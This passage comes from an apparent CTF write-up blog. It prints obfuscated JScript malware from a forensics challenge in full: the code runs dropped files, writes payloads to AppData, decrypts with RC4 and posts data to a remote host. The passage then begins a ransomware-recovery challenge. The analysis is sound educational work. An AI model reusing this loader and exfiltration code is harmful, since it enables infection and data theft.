punctuation\">(</span><span class=\"token number\">1e3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">DELETEFILE</span><span class=\"token punctuation\">(</span>U5rJ<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">t7Nl</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"2f532d6baec3d0ec7b1f98aed4774843\"</span><span class=\"token punctuation\">,</span> jxHd<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">nr3z</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">jpVh<span class=\"token punctuation\">,</span> caA2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">FILEEXISTS</span><span class=\"token punctuation\">(</span>jpVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token constant\">CJPE</span><span class=\"token punctuation\">.</span><span class=\"token function\">Run</span><span class=\"token punctuation\">(</span><span class=\"token string\">'\"'</span> <span class=\"token operator\">+</span> jpVh <span class=\"token operator\">+</span> <span class=\"token string\">'\"'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> <span class=\"token constant\">S47T</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">ActiveXObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"MSXML2.XMLHTTP\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">OPEN</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"post\"</span><span class=\"token punctuation\">,</span> caA2<span class=\"token punctuation\">,</span> <span class=\"token boolean\">false</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">var</span> <span class=\"token constant\">ND3M</span> <span class=\"token operator\">=</span> <span class=\"token string\">\"error\"</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"user-agent:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Mozilla/5.0 (Windows NT 6.1; Win64; x64); \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">he50</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"content-type:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"application/octet-stream\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"content-length:\"</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">ND3M</span><span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SEND</span><span class=\"token punctuation\">(</span><span class=\"token constant\">ND3M</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">poBP</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">QQDq</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> HiEg <span class=\"token operator\">=</span> <span class=\"token string\">\"0123456789ABCDEF\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> L9qj <span class=\"token operator\">=</span> HiEg<span class=\"token punctuation\">.</span><span class=\"token function\">substr</span><span class=\"token punctuation\">(</span>QQDq <span class=\"token operator\">&amp;</span> <span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>QQDq <span class=\"token operator\">></span> <span class=\"token number\">15</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        QQDq <span class=\"token operator\">>>>=</span> <span class=\"token number\">4</span><span class=\"token punctuation\">;</span>\n        L9qj <span class=\"token operator\">=</span> HiEg<span class=\"token punctuation\">.</span><span class=\"token function\">substr</span><span class=\"token punctuation\">(</span>QQDq <span class=\"token operator\">&amp;</span> <span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> L9qj<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> L9qj<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">JbVq</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">x4hL</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span>x4hL<span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">l9BJ</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">Wid9</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> wXgO <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> pV8q <span class=\"token operator\">=</span> Wid9<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> pV8q<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> yWql <span class=\"token operator\">=</span> Wid9<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>yWql <span class=\"token operator\">>=</span> <span class=\"token number\">128</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">var</span> h <span class=\"token operator\">=</span> lW6t<span class=\"token punctuation\">[</span><span class=\"token string\">\"\"</span> <span class=\"token operator\">+</span> <span class=\"token function\">poBP</span><span class=\"token punctuation\">(</span>yWql<span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n            yWql <span class=\"token operator\">=</span> <span class=\"token function\">JbVq</span><span class=\"token punctuation\">(</span>h<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        wXgO<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span>yWql<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> wXgO<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">Trql</span><span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token constant\">EQ4R</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">K5X0</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> gfjd <span class=\"token operator\">=</span> WScript<span class=\"token punctuation\">.</span><span class=\"token function\">CreateObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"ADODB.Stream\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span>type <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span>Charset <span class=\"token operator\">=</span> <span class=\"token string\">\"iso-8859-1\"</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">Open</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">WriteText</span><span class=\"token punctuation\">(</span><span class=\"token constant\">EQ4R</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">Flush</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span>Position <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">SaveToFile</span><span class=\"token punctuation\">(</span><span class=\"token constant\">K5X0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">Jp6A</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">KgOm</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    icVh <span class=\"token operator\">=</span> <span class=\"token string\">\"c:\\\\\\\\Users\\\\\\\\\"</span> <span class=\"token operator\">+</span> Vxiu <span class=\"token operator\">+</span> <span class=\"token string\">\"\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">FOLDEREXISTS</span><span class=\"token punctuation\">(</span>icVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> icVh <span class=\"token operator\">=</span> <span class=\"token string\">\"c:\\\\\\\\Users\\\\\\\\\"</span> <span class=\"token operator\">+</span> Vxiu <span class=\"token operator\">+</span> <span class=\"token string\">\"\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">FOLDEREXISTS</span><span class=\"token punctuation\">(</span>icVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> icVh <span class=\"token operator\">=</span> <span class=\"token string\">\"c:\\\\\\\\Documents and Settings\\\\\\\\\"</span> <span class=\"token operator\">+</span> Vxiu <span class=\"token operator\">+</span> <span class=\"token string\">\"\\\\\\\\Application Data\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> icVh<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">t7Nl</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">npmb<span class=\"token punctuation\">,</span> AIsp</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> M4tj <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> KRYr <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> <span class=\"token constant\">FPIW</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> wXgO <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> i<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        KRYr <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>KRYr <span class=\"token operator\">+</span> M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> npmb<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>i <span class=\"token operator\">%</span> npmb<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">FPIW</span> <span class=\"token operator\">=</span> M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> M4tj<span class=\"token punctuation\">[</span>KRYr<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        M4tj<span class=\"token punctuation\">[</span>KRYr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token constant\">FPIW</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> KRYr <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> y <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> y <span class=\"token operator\">&lt;</span> AIsp<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> y<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        i <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>i <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\n        KRYr <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>KRYr <span class=\"token operator\">+</span> M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">FPIW</span> <span class=\"token operator\">=</span> M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> M4tj<span class=\"token punctuation\">[</span>KRYr<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n        M4tj<span class=\"token punctuation\">[</span>KRYr<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token constant\">FPIW</span><span class=\"token punctuation\">;</span>\n        wXgO <span class=\"token operator\">+=</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>AIsp<span class=\"token punctuation\">[</span>y<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> M4tj<span class=\"token punctuation\">[</span><span class=\"token punctuation\">(</span>M4tj<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> M4tj<span class=\"token punctuation\">[</span>KRYr<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">256</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> wXgO<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Skimming through the code, I noticed that a Base64-encoded flag was embedded in the Cookie used when exfiltrating information externally.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 782px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/bb23a279e5e929a7d77e4767b42e2013/2e195/image-20240311210707989.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 32.49999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABP0lEQVQoz5WQ3XKDIBCF8xxN/AESRRDFqERj2iR9/3f6irGd6U0vevHN7ixwOGd31XlmvF5wYca0NbppqF1JWxuMa9CuQ5oGJSWFUhRHSZqmf7JrpneGccDVDWYcsbcbth8JztEYja/jJ9ogcvESVUKQZhlS5IjY5/lWhRRkcb7rppnHx7Bxj0LRYW8MvdUUIqEtBF0p8IXkrBW+lNTRZaVytExR2YGjyqjimzyX0WGMer/3PJ4Xns/A1DqCLbg0lvn6YJiezPMnfnh/4fq1flCfFyp/xXQrC8dTtUX2YWG5BZbgGXtPVcWI6oiM8Ux7oWzn+HDaaCd0u1Xr59hvZ6voqfgW1Nazxg5nQxcFTXggVUmSHEgO+8gbyf5tq784/Mz2332SbDs02nFyHmE7Cl1S25o8y+Pi09eF/7A6/AIxN87jKkCHLAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/bb23a279e5e929a7d77e4767b42e2013/8ac56/image-20240311210707989.webp 240w,\n/static/bb23a279e5e929a7d77e4767b42e2013/d3be9/image-20240311210707989.webp 480w,\n/static/bb23a279e5e929a7d77e4767b42e2013/c0b7e/image-20240311210707989.webp 782w\"\n              sizes=\"(max-width: 782px) 100vw, 782px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/bb23a279e5e929a7d77e4767b42e2013/8ff5a/image-20240311210707989.png 240w,\n/static/bb23a279e5e929a7d77e4767b42e2013/e85cb/image-20240311210707989.png 480w,\n/static/bb23a279e5e929a7d77e4767b42e2013/2e195/image-20240311210707989.png 782w\"\n            sizes=\"(max-width: 782px) 100vw, 782px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/bb23a279e5e929a7d77e4767b42e2013/2e195/image-20240311210707989.png\"\n            alt=\"image-20240311210707989\"\n            title=\"image-20240311210707989\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Decoding this yielded the correct flag.</p>\n<h2 id=\"confinementforensic\" style=\"position:relative;\"><a href=\"#confinementforensic\" aria-label=\"confinementforensic permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Confinement(Forensic)</h2>\n<blockquote>\n<p>“Our clan’s network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray.\nNote: The valuable data is stored under \\Documents\\Work”</p>\n</blockquote>\n<p>An ad1 file is provided as the challenge file, so we extract it with FTK Imager.</p>\n<p>Among the extracted files, we can see that ransom notes and encrypted confidential files are included.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 953px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/0bca8521c35ff034b89224cc80688b50/38124/image-20240315234508326.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACjUlEQVQ4y22S627TQBCF89g8AALxA3F7AyR+VAJRWmhRpYKokBBVSltyt5PaWa+9vidxc3HcxoeZdRO1pZZGe/HOt2f2TK3V68GyLQyMPlzpYjq7pJjhKp8AxRRYzlAseKS4XgCrHCiX1bier9dljlq9dYZmpwMlXEgp4SiJNInw4biFJ3s9PN638OjTAE/3Dbz87uDNkY8X3yRe/fDw+kjh+aFD+y7NfTw79FCLoxQXZheu52I8nmA2m4OuwvlwhO3GGIcXOQ7MOXa7c+x0pjq26gpbxx62mxO8/Wnh3S+Bz+0MvbhAjbKRBAZajT/wPB/rz5AJ3v8eYq8R4aCXYac1xi4FJ35pJtiuO9hpJNg99/GxLvG1FZOOVQUchSbazVM4jouiKDRwlMRIfVIderhMAkwpZmmICa2z2NfBe3mW0ukrHZxbAWObTDknMxbI81wDAz+EPZT6EiE9ChdDIclAQfsCiv5zRTzyd11WlWngMl9ADE7ogNqUHAYhhpToCAeu692ESxdIbZ7v+/pMHCcoy3ITtZLq5i/22ui2/2JVLUlhAEGKPAIxRCkfPoUkpdJh5Y6+LElSff4WkCa0kaUC/d4Z8uXVBmjbQ92bDFFK6eA5g3g0DQNBED4AJOJyPoLZOcZolG1KZoXrMt0bKM9ZNQP7hknnxw8D81kKyzjBfLGsgGGk31B5rMrT78twBvHI5Qv6H0Xx/8BVySVLmN1TZNl0UzID12puA6U2xoV1YWmz7gErF0LZpLexNi5HNword5U2pVJbAXl/0O8/pLACJqqjXS6K6ztto1VRstIOSw1j1azYtm1qn+AusOrDKXzXRBJHVH55yxSHEqseXLeN0A5LXa4jBOJ7Cv8BafVd5IK0fJgAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/0bca8521c35ff034b89224cc80688b50/8ac56/image-20240315234508326.webp 240w,\n/static/0bca8521c35ff034b89224cc80688b50/d3be9/image-20240315234508326.webp 480w,\n/static/0bca8521c35ff034b89224cc80688b50/5bf28/image-20240315234508326.webp 953w\"\n              sizes=\"(max-width: 953px) 100vw, 953px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/0bca8521c35ff034b89224cc80688b50/8ff5a/image-20240315234508326.png 240w,\n/static/0bca8521c35ff034b89224cc80688b50/e85cb/image-20240315234508326.png 480w,\n/static/0bca8521c35ff034b89224cc80688b50/38124/image-20240315234508326.png 953w\"\n            sizes=\"(max-width: 953px) 100vw, 953px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/0bca8521c35ff034b89224cc80688b50/38124/image-20240315234508326.png\"\n            alt=\"image-20240315234508326\"\n            title=\"image-20240315234508326\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Below is the screen when opening the ransom note in a browser.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 960px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6f86a169e0db2841a49c91d8ace23fca/eba85/image-20240315234653822.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 86.66666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3UlEQVQ4y2VUS3baQBDkMH4Y24ANSOgPSIhfQBISkgDh4F2OlUNkkWSTs1WqB4Tt50W97pnp7ulPzTSazSZarRbu7+8VWkST6D48YKdrKIZDFIMBctNESX3T7yub2vbmxxh3d3doPD4+otPpoN1uK9klWtT9Xg+/khh/swx/iN9VhX/HI35u1nh5ekKbdp0ral8J3OjzRsdxYFmWgn2VpknJjBQMA4auw6RuU7dM62ZfQ2JI4MaA5biuezuQQJ5nIg2HOFk23hwbZ9tGRYeK8sx1NtdhmO+X29yXGJJlQ9M0rL6tEMUR8l1O7FAUOUoizXZEprBNU2wpM56X+0LZ7a7YbDaYzWbvGXqeh9FohMlkgmAaII5jJHGCJElQ5DkOhwOxR059u90iTbeIogi+7ysfyU5iqAx7bL7JCRrGEMbwCumZ9I774iCO4XSqLjXljBA5VLYXeyn9icNqdLtd6Gz4YKCh39fRZwt6xIuA2T9zaF1eKhBd7V0xENu++A6gaTqEMapk23bguQZm/jNCw8SOTT4QOZEShe2iYFklcXAdnDigs+PCt02sZy/0/1CyzlvCaYgw9LFeuVixvCQIkLPEiOUmlJnvYM7yFyxrxcsjBkwkCdvCbKqx3A9THnPzx9sbDtUJx+oVp9dX6hWO5+8oSeTyWKHYZ0jShNMMMSJthvYFNgOblvuZNjabWpIOG042TiI1WTVhrlNONGDGvh8gYNZTZhswoMMAHoOJdLj+FFBeisUNmbRADpfLpaLOlsGFJgmfoFAl5jrmWrg3n/qK2NL/LwHDMMRiscBqtVRyPp9jzTcrXBPSrtcXPYriq4wwo43YyuXi73nuO7GFXxdye5iwxIwtKMtCEXnH11PuS/V6Mr4cIfp+v2fQDUbj0c33C7GFpALRxzSUElz3Yjgej9Vlsq5fhcC4krv2U8SWf0wIWeOB/6DsCUSvvyd5AJ1O+3ZWn9c+IuVv/Q9hFEqScPTcTwAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6f86a169e0db2841a49c91d8ace23fca/8ac56/image-20240315234653822.webp 240w,\n/static/6f86a169e0db2841a49c91d8ace23fca/d3be9/image-20240315234653822.webp 480w,\n/static/6f86a169e0db2841a49c91d8ace23fca/e46b2/image-20240315234653822.webp 960w,\n/static/6f86a169e0db2841a49c91d8ace23fca/d7d7f/image-20240315234653822.webp 1054w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/6f86a169e0db2841a49c91d8ace23fca/8ff5a/image-20240315234653822.png 240w,\n/static/6f86a169e0db2841a49c91d8ace23fca/e85cb/image-20240315234653822.png 480w,\n/static/6f86a169e0db2841a49c91d8ace23fca/d9199/image-20240315234653822.png 960w,\n/static/6f86a169e0db2841a49c91d8ace23fca/eba85/image-20240315234653822.png 1054w\"\n            sizes=\"(max-width: 960px) 100vw, 